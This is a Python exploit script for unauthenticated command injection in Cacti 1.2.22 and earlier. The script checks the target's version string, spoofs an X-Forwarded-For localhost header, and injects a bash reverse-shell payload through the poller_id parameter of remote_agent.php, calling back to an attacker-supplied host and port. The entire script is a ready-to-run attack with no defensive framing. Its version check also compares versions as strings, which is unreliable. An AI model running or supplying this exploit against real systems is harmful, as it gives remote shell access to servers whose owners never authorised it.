import argparse import requests from bs4 import BeautifulSoup import re import sys def main(): parser = argparse.ArgumentParser(description='Cacti Unauthenticated Command Injection <= 1.2.22') parser.add_argument('--url', type=str, required=True, help='The URL of Cacti\'s instance') parser.add_argument('--lhost', type=str, required=True, help='Listening IP') parser.add_argument('--lport', type=int, required=True, help='Listening Port') args = parser.parse_args() # Check target version cacti_response = requests.get(args.url) cacti_html = cacti_response.text # Get the HTML content of the page soup = BeautifulSoup(cacti_html, 'html.parser') cacti_version_str = soup.find(string=re.compile(r'cactiVersion=\'.*\'')) match = re.search(r'\d+\.\d+\.\d+', cacti_version_str) if match: cacti_version_number = match.group() if cacti_version_number <= '1.2.22': print(f'Cacti version number {cacti_version_number} could be vulnerable, proceeding with exploit.') print(f'Prooceding with the exploit, check your netcat listener on port {args.lport}') # Payload, if this payload doesn't work for some reeason feel free to change it payload = f'; /bin/bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"' local_data_ids = [x for x in range(0, 10)] # If for some reason you are not getting a reverse shell, change the starting number in the range for id in range(1, 20): url = f'{args.url}/remote_agent.php' params = {'action': 'polldata', 'host_id': id, 'poller_id': payload, 'local_data_ids[]': local_data_ids} headers = {'X-Forwarded-For': '127.0.0.1'} r = requests.get(url, params=params, headers=headers) if r.ok: print(f'Payload sent successfully to host id {id}') break else: print(f'This {cacti_version_number} is not vulnerable, exiting.') else: print('Unable to find version.') if __name__ == '__main__': main() sys.exit()